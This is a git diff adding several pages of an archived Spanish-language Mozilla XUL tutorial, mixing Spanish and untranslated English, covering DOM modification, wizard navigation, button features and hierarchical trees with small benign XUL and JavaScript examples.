+</pre>
+
+<p>The <code><a href="es/DOM/element#element.childNodes">childNodes</a></code> variable will hold the children of the document root element. We then use a for loop to iterate over the children, accessing each item using an array-like notation.</p>
+
+<div class="highlight">Nuestro ejemplo: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-dom.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-dom.xul">Ver en funcionamiento</a></div>
+
+<p><small>See also: <a href="es/A_re-introduction_to_JavaScript">A re-introduction to JavaScript</a> and the <a href="es/Referencia_de_JavaScript_1.5">referencia de JavaScript</a></small></p>
+
+<p>Seguimos con la <a href="es/Tutorial_de_XUL/Modificando_una_interfaz_XUL">modificación del DOM</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Emisores_y_receptores" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Modificando_una_interfaz_XUL">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/modificando_una_interfaz_xul/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/modificando_una_interfaz_xul/index.html
new file mode 100644
index 0000000000..2b7fc14bf2
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/modificando_una_interfaz_xul/index.html
@@ -0,0 +1,157 @@
+---
+title: Modificando una interfaz XUL
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Modificando_una_interfaz_XUL
+tags:
+  - DOM
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Modifying_a_XUL_Interface
+---
+<p>El DOM proporciona funciones variadas para modificar el documento.</p>
+
+<h3 id="Creaci.C3.B3n_de_nuevos_elementos" name="Creaci.C3.B3n_de_nuevos_elementos">Creación de nuevos elementos</h3>
+
+<p>You can create new elements using the <code><a href="es/DOM/document#document.createElement">createElement()</a></code> function of the document. It takes one argument, the tag name of the element to create. You can then set attributes of the element using the <code><a href="es/DOM/element#element.setAttribute">setAttribute()</a></code> function and append it to the XUL document using the <code><a href="es/DOM/element#element.appendChild">appendChild()</a></code> function. For example, the following will add a button to a XUL window: <strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;script&gt;
+function addButton(){
+  var aBox = document.getElementById("aBox");
+  var button = document.createElement("button");
+  button.setAttribute("label","A new Button");
+  aBox.appendChild(button);
+}
+&lt;/script&gt;
+
+&lt;box id="aBox" width="200"&gt;
+  &lt;button label="Añade" oncommand="addButton();"/&gt;
+&lt;/box&gt;
+</pre>
+
+<ul>
+ <li>This script first gets a reference to the box with <code><a href="es/DOM/document#document.getElementById">getElementById()</a></code>, which is the container to add a new button to.</li>
+ <li>The <code><a href="es/DOM/document#document.createElement">createElement()</a></code> function creates a new button.</li>
+ <li>We assign the label 'A new Button' to the button using the <code><a href="es/DOM/element#element.setAttribute">setAttribute()</a></code> function.</li>
+ <li>The <code><a href="es/DOM/element#element.appendChild">appendChild()</a></code> function of the box is called to add the button to it.</li>
+</ul>
+
+<p>The <code><a href="es/DOM/document#document.createElement">createElement()</a></code> function will create the default type of element for the document. For XUL documents, this generally means that a XUL element will be created. For an HTML document, an HTML element will be created, so it will have the features and functions of an HTML element instead. The <code><a href="es/DOM/document#document.createElementNS">createElementNS()</a></code> function may be used to create elements in a different namespace.</p>
+
+<p>The <code><a href="es/DOM/element#element.appendChild">appendChild()</a></code> function is used to add an element as a child of another element. Three related functions are the <code><a href="es/DOM/element#element.insertBefore">insertBefore()</a></code>, <code><a href="es/DOM/element#element.replaceChild">replaceChild()</a></code> and <code><a href="es/DOM/element#element.removeChild">removeChild</a></code> functions. The syntax of these functions is as follows:</p>
+
+<pre>parent.appendChild(child);
+parent.insertBefore(child, referenceChild);
+parent.replaceChild(newChild, oldChild);
+parent.removeChild(child);
+</pre>
+
+<p>It should be fairly straightforward from the function names what these functions do.</p>
+
+<ul>
+ <li>The <code><a href="es/DOM/element#element.insertBefore">insertBefore()</a></code> function inserts a new child node before an existing one. This is used to insert into the middle of a set of children instead of at the end like <code><a href="es/DOM/element#element.appendChild">appendChild()</a></code> does.</li>
+ <li>The <code><a href="es/DOM/element#element.replaceChild">replaceChild()</a></code> function removes an existing child and adds a new one in its place at the same position.</li>
+ <li>Finally the <code><a href="es/DOM/element#element.removeChild">removeChild()</a></code> function removes a node.</li>
+</ul>
+
+<p>Note that for all these functions, the reference child or child to remove must already exist or an error occurs.</p>
+
+<p>It is often the case that you want to remove an existing element and add it somewhere else. If so, you can just add the element without removing it first. Since a node may only be in one place at a time, the insertion call will always remove the node from its existing location first. This is a convenient way to move nodes around in the document.</p>
+
+<h4 id="Copying_Nodes" name="Copying_Nodes">Copying Nodes</h4>
+
+<p>To copy nodes however, you may call the <code><a href="es/DOM/element#element.cloneNode">cloneNode()</a></code> function. This function makes a copy of an existing node so that you can add it somewhere else. The original node will stay where it is. It takes one boolean argument which indicates whether to copy all of the node's children or not. If false, only the node is copied, such that the copy won't have any children. If true, all of the children are copied as well. This is done recursively, so for large tree structures make sure that this is desired before passing true to the <code><a href="es/DOM/element#element.cloneNode">cloneNode()</a></code> function. Here is an example:</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;hbox height="400"&gt;
+  &lt;button label="Copy"
+          oncommand="this.parentNode.appendChild(this.nextSibling.cloneNode(true));"/&gt;
+
+  &lt;vbox&gt;
+    &lt;button label="First"/&gt;
+    &lt;button label="Second"/&gt;
+  &lt;/vbox&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p>When the Copy button is pressed..</p>
+
+<ul>
+ <li>we retrieve the <code><a href="es/DOM/element#element.nextSibling">nextSibling</a></code> of the <code><a href="es/XUL/Elementos#button">botón</a></code>, which will be the <code><a href="es/XUL/Elementos#vbox">vbox</a></code> element.</li>
+ <li>a copy of this element is made using the <code><a href="es/DOM/element#element.cloneNode">cloneNode()</a></code> function</li>
+ <li>and the copy is appended using <code><a href="es/DOM/element#element.appendChild">appendChild()</a></code>.</li>
+</ul>
+
+<p>Note that some elements, such as <code><a href="es/XUL/Elementos#listbox">listbox</a></code> and <code><a href="es/XUL/Elementos#menulist">menulist</a></code> provide some additional specialized modification functions which you should use instead when you can. Ésto se describe en la <a href="es/Tutorial_de_XUL/Manipulando_listas">próxima sección</a>.</p>
+
+<h3 id="Manipulaci.C3.B3n_de_elementos_b.C3.A1sicos" name="Manipulaci.C3.B3n_de_elementos_b.C3.A1sicos">Manipulación de elementos básicos</h3>
+
+<p>The main XUL elements such as buttons, checkboxes and radio buttons may be manipulated using a number of script properties. The properties available are listed in the <a href="es/XUL/Referencia">referencia al element</a> as those available are different for each element. Common properties that you will manipulate include the <code><a href="es/XUL/Propiedades#label">label</a></code>, <code><a href="es/XUL/Propiedades#value">value</a></code>, <code><a href="es/XUL/Propiedades#checked">checked</a></code> and <code><a href="es/XUL/Propiedades#disabled">disabled</a></code> properties. They set or clear the corresponding attribute as necessary.</p>
+
+<h4 id="Ejemplos_de_propiedades_label_y_value" name="Ejemplos_de_propiedades_label_y_value">Ejemplos de propiedades <code>label</code> y <code>value</code></h4>
+
+<p>Here is a simple example which changes the label on a button:</p>
+
+<p><strong>Ejemplo 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_3.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button label="Hola" oncommand="this.label = 'Adiós';"/&gt;
+</pre>
+
+<p>Cuando el botón es apretado, el <a href="es/XUL/Propiedades#label">label</a> es cambiado. This technique will work for a variety of different elements that have labels. For a textbox, you can do something similar for the <code><a href="es/XUL/Propiedades#value">value</a></code> property.</p>
+
+<p><strong>Ejemplo 4</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_4.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_4.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button label="Añade" oncommand="this.nextSibling.value += '1';"/&gt;
+&lt;textbox/&gt;
+</pre>
+
+<p>This example adds a '1' to the textbox each time the button is pressed. The <code><a href="es/DOM/element#element.nextSibling">nextSibling</a></code> property navigates from the button (this) to the next element, the textbox. The '+=' operator is used to add to the current value so a 1 will be added onto the end of the existing text. Note that you can still enter text into the textbox. You can also retrieve the current label or value using these properties, as in the following example:</p>
+
+<p><strong>Ejemplo 5</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_5.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_5.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button label="Hola" oncommand="alert(this.label);"/&gt;
+</pre>
+
+<h4 id="Toggling_a_checkbox" name="Toggling_a_checkbox">Toggling a checkbox</h4>
+
+<p>Checkboxes have a <code><a href="es/XUL/Propiedades#checked">checked</a></code> property which may be used to check or uncheck the <code><a href="es/XUL/Elementos#checkbox">checkbox</a></code>. It should be easy to determine how this is used. In this next example, we reverse the state of the <code><a href="es/XUL/Propiedades#checked">checked</a></code> property whenever the button is pressed. Note that while the <code><a href="es/XUL/Propiedades#label">label</a></code> and <code><a href="es/XUL/Propiedades#value">value</a></code> properties are strings, the <code><a href="es/XUL/Propiedades#checked">checked</a></code> property is a boolean property which will be set either true or false.</p>
+
+<p><strong>Ejemplo 6</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_6.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_6.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button label="Change" oncommand="this.nextSibling.checked = !this.nextSibling.checked;"/&gt;
+&lt;checkbox label="Check for messages"/&gt;
+</pre>
+
+<p>Radio buttons may be selected as well using properties, however since only one in a group may be selected at a time, the others must all be unchecked when one is checked. You don't have to do this manually of course. The radiogroup's <code><a href="es/XUL/Propiedades#selectedIndex">selectedIndex</a></code> property may be used to do this. The <code><a href="es/XUL/Propiedades#selectedIndex">selectedIndex</a></code> property may be used to retrieve the<em>index</em> of the selected radio button in the group and well as change it.</p>
+
+<h4 id="Cambio_de_un_elemento_desactivado_o_activado" name="Cambio_de_un_elemento_desactivado_o_activado">Cambio de un elemento desactivado o activado</h4>
+
+<p>It is common to disable particular fields that don't apply in a given situation. For example, in a preferences dialog, one might have the choice of several possibilities, but one choice allows additional customization. Here is an example of how to create this type of interface.</p>
+
+<p><strong>Ejemplo 7</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_7.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_7.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;script&gt;
+function updateState(){
+  var name = document.getElementById("name");
+  var sindex = document.getElementById("group").selectedIndex;
+  name.disabled = sindex == 0;
+}
+&lt;/script&gt;
+
+&lt;radiogroup id="group" onselect="updateState();"&gt;
+  &lt;radio label="Random name" selected="true"/&gt;
+  &lt;hbox&gt;
+    &lt;radio label="Specify a name:"/&gt;
+    &lt;textbox id="name" value="Jim" disabled="true"/&gt;
+  &lt;/hbox&gt;
+&lt;/radiogroup&gt;
+</pre>
+
+<p>In this example a function updateState() is called whenever a select event is fired on the radio group. This will happen whenever a radio button is selected. This function will retrieve the currently selected <code><a href="es/XUL/Elementos#radio">radio</a></code> element using the <code><a href="es/XUL/Propiedades#selectedIndex">selectedIndex</a></code> property. Note that even though one of the radio buttons is inside an <code><a href="es/XUL/Elementos#hbox">hbox</a></code>, it is still part of the radio group. If the first radio button is selected (index of 0), the textbox is enabled by setting its <code><a href="es/XUL/Propiedades#disabled">disabled</a></code> property to true. If the second radio button is selected, the textbox is enabled.</p>
+
+<p>La sección siguiente proporciona más detalles sobre la <a href="es/Tutorial_de_XUL/Manipulando_listas">manipulación de listas</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Modelo_de_objeto_de_documento" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Manipulando_listas">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/más_asistentes/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/más_asistentes/index.html
new file mode 100644
index 0000000000..0ba0eb84c5
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/más_asistentes/index.html
@@ -0,0 +1,88 @@
+---
+title: Más asistentes
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Más_asistentes
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Wizards
+---
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Creando_un_asistente" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Presentación">Siguiente  »</a></p>
+</div>
+
+<p> </p>
+
+<h3 id="Navegaci.C3.B3n_m.C3.A1s_compleja_del_asistente" name="Navegaci.C3.B3n_m.C3.A1s_compleja_del_asistente">Navegación más compleja del asistente</h3>
+
+<p>Normalmente, un asistente muestra cada <code><a href="es/XUL/Elementos/wizardpage">wizardpage</a></code> en el orden en el cual se han puesto en el archivo XUL. En algunos casos sin embargo, se necesita tener diferentes páginas que aparecerán en el asistente en función de lo que seleccionó el usuario en páginas anteriores.</p>
+
+<p>En este caso, el atributo <code>pageid</code> se coloca en cada una de las páginas. Ésto tiene que ser definido en un identificador para cada página. Después, para navegar a una página, se usará uno de estos dos métodos:</p>
+
+<ol>
+ <li>Set the <code>next</code> attribute on each page to the page ID of the next page to go to. You can change these attributes as needed to navigate to different pages.</li>
+ <li>Call the wizard's <code>goTo()</code> method. It takes one argument, the page ID of a page to go to. You might call this method in the <code>onpageadvanced</code> or <code>onwizardnext</code> handlers. Remember to return false in this case, because you have already changed the page yourself. Note that the <code>goTo()</code> method, because it causes a page change, will fire the events again, so you'll have to make sure you handle that case.</li>
+</ol>
+
+<p>For example, here are a set of wizard pages (the inner content has been omitted):</p>
+
+<pre>&lt;wizardpage pageid="type" next="font"&gt;
+&lt;wizardpage pageid="font" next="done"&gt;
+&lt;wizardpage pageid="color" next="done"&gt;
+&lt;wizardpage pageid="done"&gt;
+</pre>
+
+<ul>
+ <li>The wizard always starts at the first page, which in this case has the page ID <code>type</code>. The next page is the one with the page ID <code>font</code>, so the wizard will navigate to that page next.</li>
+ <li>On the page with the page ID <code>font</code>, we can see that the next page is <code>done</code>, so that page will be displayed afterwards.</li>
+ <li>The page with the page ID <code>done</code> has no <code>next</code> attribute, so this will be the last page.</li>
+</ul>
+
+<p>A script will adjust the <code>next</code> attributes as necessary to go to the page with the page ID <code>color</code> when needed.</p>
+
+<h3 id="Funciones_de_asistente" name="Funciones_de_asistente">Funciones de asistente</h3>
+
+<p>The wizard works much like a <a href="es/Tutorial_de_XUL/Contenedores_de_pesta%c3%b1as">etiquetas</a>, except that the tabs are not displayed and the user navigates between pages by using the buttons along the bottom. Because all of the pages are part of the same file, all of the values of the fields on all pages will be remembered. Thus, you do not have to load and save information between pages.</p>
+
+<p>However, you may want to do some validation of each field on each page. For this, use the handlers described in the previous section. If a field is invalid, you might display an alert. In some cases, it would be more convenient to disable the Next button until valid input has been entered.</p>
+
+<p>The wizard has a property <code>canAdvance</code>, which can be set to true to indicate that the Next button should be enabled. If set to false, the Next button is disabled. You can change the property when invalid or valid data has been entered.</p>
+
+<p>In the following example, the user must enter a secret code into a textbox on the first page of the wizard. The function checkCode() is called whenever the first page is shown as indicated by the <code>onpageshow</code> attribute. It is also called whenever a key is pressed in the textbox, to determine whether the Next button should be enabled again.</p>
+
+<h4 id="Ejemplo_de_asistente" name="Ejemplo_de_asistente">Ejemplo de asistente</h4>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_advwiz_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advwiz_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;wizard id="theWizard" title="Asistente de código secreto"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;script&gt;
+function checkCode(){
+  document.getElementById('theWizard').canAdvance = (document.getElementById('secretCode').value == "cabbage");
+}
+&lt;/script&gt;
+
+  &lt;wizardpage onpageshow="checkCode(); return true;"&gt;
+       &lt;label value="Escriba el código secreto:"/&gt;
+       &lt;textbox id="secretCode" onkeyup="checkCode();"/&gt;
+  &lt;/wizardpage&gt;
+
+  &lt;wizardpage&gt;
+       &lt;label value="Ésto es el código secreto correcto."/&gt;
+  &lt;/wizardpage&gt;
+
+&lt;/wizard&gt;
+</pre>
+
+<p>There is also a corresponding <code>canRewind</code> property that you can use to enable or disable the Back button. Both properties are adjusted automatically as you switch pages. Thus, the Back button will be disabled on the first page so you don't have to set it yourself.</p>
+
+<p>Another useful property of the wizard is <code>currentPage</code>, which holds a reference to the currently displayed <code>wizardpage</code>. You can also modify the current page by changing this property. If you do change it, the various page change events will still be fired.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Creando_un_asistente" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Presentación">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/más_características_de_los_botones/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/más_características_de_los_botones/index.html
new file mode 100644
index 0000000000..fdf8c15409
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/más_características_de_los_botones/index.html
@@ -0,0 +1,102 @@
+---
+title: Más características de los botones
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Más_características_de_los_botones
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Button_Features
+---
+<p>En esta sección, veremos algunas características adicionales de los botones.</p>
+
+<h3 id="A.C3.B1adiendo_una_imagen" name="A.C3.B1adiendo_una_imagen">Añadiendo una imagen</h3>
+
+<p>Usted puede agregar una imagen a un botón especificando una URL en el atributo <code><a href="es/XUL/Atributos#image">imagen</a></code>. La imagen se carga desde la URL, la cual puede ser relativa o absoluta, entonces la imagen se muestra sobre el botón.</p>
+
+<p>El botón de arriba tendrá <code><a href="es/XUL/Atributos#label">label</a></code> y <code><a href="es/XUL/Atributos#image">imagen</a></code> 'happy.png'. La imagen aparecerá a la izquierda de la etiqueta. Usted puede cambiar la posición usando otros dos atributos. Esto se explicará en un momento.</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button label="Ayuda" image="happy.png"/&gt;
+</pre>
+
+<h4 id="Bot.C3.B3n_con_imagen_CSS" name="Bot.C3.B3n_con_imagen_CSS">Botón con imagen CSS</h4>
+
+<p>Another way to specify the image is by using the CSS <a href="es/Css/xref">list-style-image</a> style property on the button. This is designed to allow the 'skin' (in this case, the appearance of the image) to be changed without changing the XUL file. An example is shown below.</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button id="find-button"
+  label="Busca" style="list-style-image: url('happy.png')"/&gt;
+</pre>
+
+<p>In this case, the image 'happy.png' is displayed on the button. The <code><a href="es/XUL/Atributos#style">estilo</a></code> attribute functions similar to its HTML counterpart. In general, it can be used on all XUL elements. Note that you really should put the style declarations in a separate style sheet.</p>
+
+<h3 id="Posicionando_las_im.C3.A1genes" name="Posicionando_las_im.C3.A1genes">Posicionando las imágenes</h3>
+
+<p>By default, the image on a button will appear to the left of the text label. There are two attributes that can be used to control this position.</p>
+
+<p>The <code><a href="es/XUL/Atributos#dir">dirección</a></code> attribute controls the direction of the image and text. By setting this attribute to the value <code>reverse</code>, the image will be placed on the right side of the text. By using the value <code>normal</code>, or leaving the attribute out entirely, the image will be placed on the left side of the text.</p>
+
+<p>The <code><a href="es/XUL/Atributos#orient">orientación</a></code> attribute can be used to place the image above or below the text. The default value is <code>horizontal</code> which is used to place the image on the left or right. You can also use the value <code>vertical</code> to place the image above or below. In this case, the dir attribute controls the placement above or below. The same values are used, where <code>normal</code> means place the image above the text, and <code>reverse</code> means place the image below the text.</p>
+
+<p><strong>Ejemplo 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_3.xul">Ver en funcionamiento</a></p>
+
+<div class="float-right"><img alt="Image:advbtns1.png"></div>
+
+<pre>&lt;button label="Left" image="happy.png"/&gt;
+&lt;button label="Right" image="happy.png" dir="reverse"/&gt;
+&lt;button label="Above" image="happy.png" orient="vertical"/&gt;
+&lt;button label="Below" image="happy.png" orient="vertical" dir="reverse"/&gt;
+</pre>
+
+<p> </p>
+
+<p>The example here shows all four types of alignment of buttons. Note that the two attributes are not specified when the default value can be used.</p>
+
+<h3 id="Botones_con_contenido_extra" name="Botones_con_contenido_extra">Botones con contenido extra</h3>
+
+<p>Buttons may have arbitrary markup contained inside them, and it will be rendered inside the button. You probably wouldn't use this very often, but you might use it when creating custom elements.</p>
+
+<p>For example, the following will create a button where two of the words are red:</p>
+
+<p><strong>Ejemplo 4</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_4.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_4.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button&gt;
+  &lt;description value="This is a"/&gt;
+  &lt;description value="rather strange" style="color: red;"/&gt;
+  &lt;description value="button"/&gt;
+&lt;/button&gt;
+</pre>
+
+<p>Any XUL element may be placed inside the <code><a href="es/XUL/Elementos#button">botón</a></code>. HTML elements will be ignored, so you need to wrap them inside a <code><a href="es/XUL/Elementos#description">descripción</a></code> element. If you specify the <code><a href="es/XUL/Atributos#label">label</a></code> attribute on the button, it will override any content placed inside the button.</p>
+
+<h4 id="Bot.C3.B3n_con_men.C3.BA_emergente" name="Bot.C3.B3n_con_men.C3.BA_emergente">Botón con menú emergente</h4>
+
+<p>You can place a <code><a href="es/XUL/Elementos#menupopup">menupopup</a></code> inside the button to cause a menu to drop down when the button is pressed, much like the <code><a href="es/XUL/Elementos#menulist">menulist</a></code>. However, in this case you must set the <code><a href="es/XUL/Atributos#button.type">type</a></code> attribute to the value <code>menu</code>.</p>
+
+<p><strong>Ejemplo 5</strong>:</p>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_5.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_5.xul">Ver en funcionamiento</a></p>
+
+<div class="float-right"><img alt="Image:advbtns2.png"></div>
+
+<pre>&lt;button type="menu" label="Device"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="Impresora"/&gt;
+    &lt;menuitem label="Ratón"/&gt;
+    &lt;menuitem label="Teclado"/&gt;
+  &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre>
+
+<p>In this example, the user may click the button to pop up a menu containing three items. Note that selecting one of these menu items doesn't change the label on the button, unlike a <code><a href="es/XUL/Elementos#menulist">menulist</a></code>. This type of button is intended to be used like a menu, with scripts attached to each item to perform a task. We'll see more on menus later.</p>
+
+<p>You can also set the <code><a href="es/XUL/Atributos#button.type">type</a></code> attribute to the value <code>menu-button</code>. This also creates a button with a menu, but the appearance will be different. The image to the right shows the difference. The left one is a 'menu' and the second one is a 'menu-button'. It has an arrow indicating the presence of a menu. For the 'menu', the user may click anywhere on the button to show the menu. For the 'menu-button', the user must click the arrow to show the menu.</p>
+
+<p>Seguimos con como <a href="es/Tutorial_de_XUL/El_modelo_de_caja">los elementos XUL son colocados en una ventana</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Usando_espaciadores" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:El_modelo_de_caja">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/más_características_de_los_árboles/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/más_características_de_los_árboles/index.html
new file mode 100644
index 0000000000..e8eb95ca57
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/más_características_de_los_árboles/index.html
@@ -0,0 +1,132 @@
+---
+title: Más características de los árboles
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Más_características_de_los_árboles
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Tree_Features
+---
+<p>Aquí veremos más características de los árboles.</p>
+
+<h3 id=".C3.81rboles_jer.C3.A1rquicos" name=".C3.81rboles_jer.C3.A1rquicos">Árboles jerárquicos</h3>
+
+<p>El elemento <code><a href="es/XUL/Elementos/tree">tree</a></code> también puede utilizarse para crear listas jerárquicas, similares a las encontradas en un administrador de archivos o a una lista de marcadores de un navegador. Para lograr esto deben realizarse dos cosas:</p>
+
+<p>Primero debe marcarse como contenedor al elemento <code><a href="es/XUL/Elementos/tree">treeitem</a></code> que contenga hijos, esto se consigue agregándole el atributo <code><a href="es/XUL/Atributos/container">container</a></code> (contenedor) de la siguiente manera:</p>
+
+<pre>&lt;treeitem container="true"/&gt;
+</pre>
+
+<p>Esto permite al usuario hacer doble-clic sobre el árbol para expandir y contraer las filas internas. Puede hacerse que las filas hijas sean visibles desde un principio simplemente agregando el atributo <code><a href="es/XUL/Atributos/open">open</a></code> (abierto). Cuando el usuario expanda o contraiga el árbol, éste atributo cambiará para reflejar el estado actual.</p>
+
+<p>El segundo cambio a realizar es colocar el atributo <code><a href="es/XUL/Atributos/primary">primary</a></code> (primario) en la primer columna. Esto provocará la aparición de un pequeño triángulo o un signo “+�? delante de las celdas en esa columna. Esto indicará que esas celdas pueden expandirse, además las filas hijas tendrán sangrado. Note que el usuario no puede ocultar la primer columna.</p>
+
+<p>Cada hijo puede especificarse poniendo un elemento <code>treechildren</code> dentro de <code>treeitem</code>, si se coloca dentro de <code>treerow</code> no funcionará.</p>
+
+<p>Puede repetirse este proceso para crear árboles profundamente anidados. En esencia, un elemento <code>treeitem</code> puede contener ya sea filas simples -declaradas con el elemento <code>treerow</code>- o una colección de filas que se declaran con el elemento <code>treechildren</code>.</p>
+
+<p>El siguiente es un ejemplo sencillo:</p>
+
+<h4 id="Ejemplo" name="Ejemplo">Ejemplo</h4>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_advtrees_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advtrees_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;tree flex="1"&gt;
+  &lt;treecols&gt;
+      &lt;treecol id="nombre" label="Nombre" primary="true" flex="3"/&gt;
+      &lt;treecol id="apellido" label="Apellido" flex="7"/&gt;
+  &lt;/treecols&gt;
+
+  &lt;treechildren&gt;
+    &lt;treeitem container="true" open="true"&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="Tipos"/&gt;
+      &lt;/treerow&gt;
+
+      &lt;treechildren&gt;
+        &lt;treeitem&gt;
+          &lt;treerow&gt;
+            &lt;treecell label="Pepe"/&gt;
+            &lt;treecell label="Carpintero"/&gt;
+          &lt;/treerow&gt;
+        &lt;/treeitem&gt;
+        &lt;treeitem&gt;
+          &lt;treerow&gt;
+            &lt;treecell label="Lito"/&gt;
+            &lt;treecell label="Albañil"/&gt;
+          &lt;/treerow&gt;
+        &lt;/treeitem&gt;
+      &lt;/treechildren&gt;
+    &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+&lt;/tree&gt;
+</pre>
+
+<p><img alt="Image:advtrees1.jpg"></p>
+
+<p>Esto ha creado un árbol jerárquico. Como puede verse en la imagen, un pequeño símbolo “+�? o “-�? apareció junto a la primer fila, indicando que contiene filas hijas. El usuario puede abrir o cerrar la lista hacienda doble-clic en esa fila. Note como la fila Tipos necesita solamente una columna y es un ítem de posición para sus hijos.</p>
+
+<p>El elemento <code><a href="es/XUL/Elementos/treeitem">treeitem</a></code> externo contiene un elemento <code><a href="es/XUL/Elementos/treerow">treerow</a></code> y un elemento <code><a href="es/XUL/Elementos/treechildren">treechildren</a></code>, el primero crea los datos para la fila madre y el último contiene las filas hijas.</p>
+
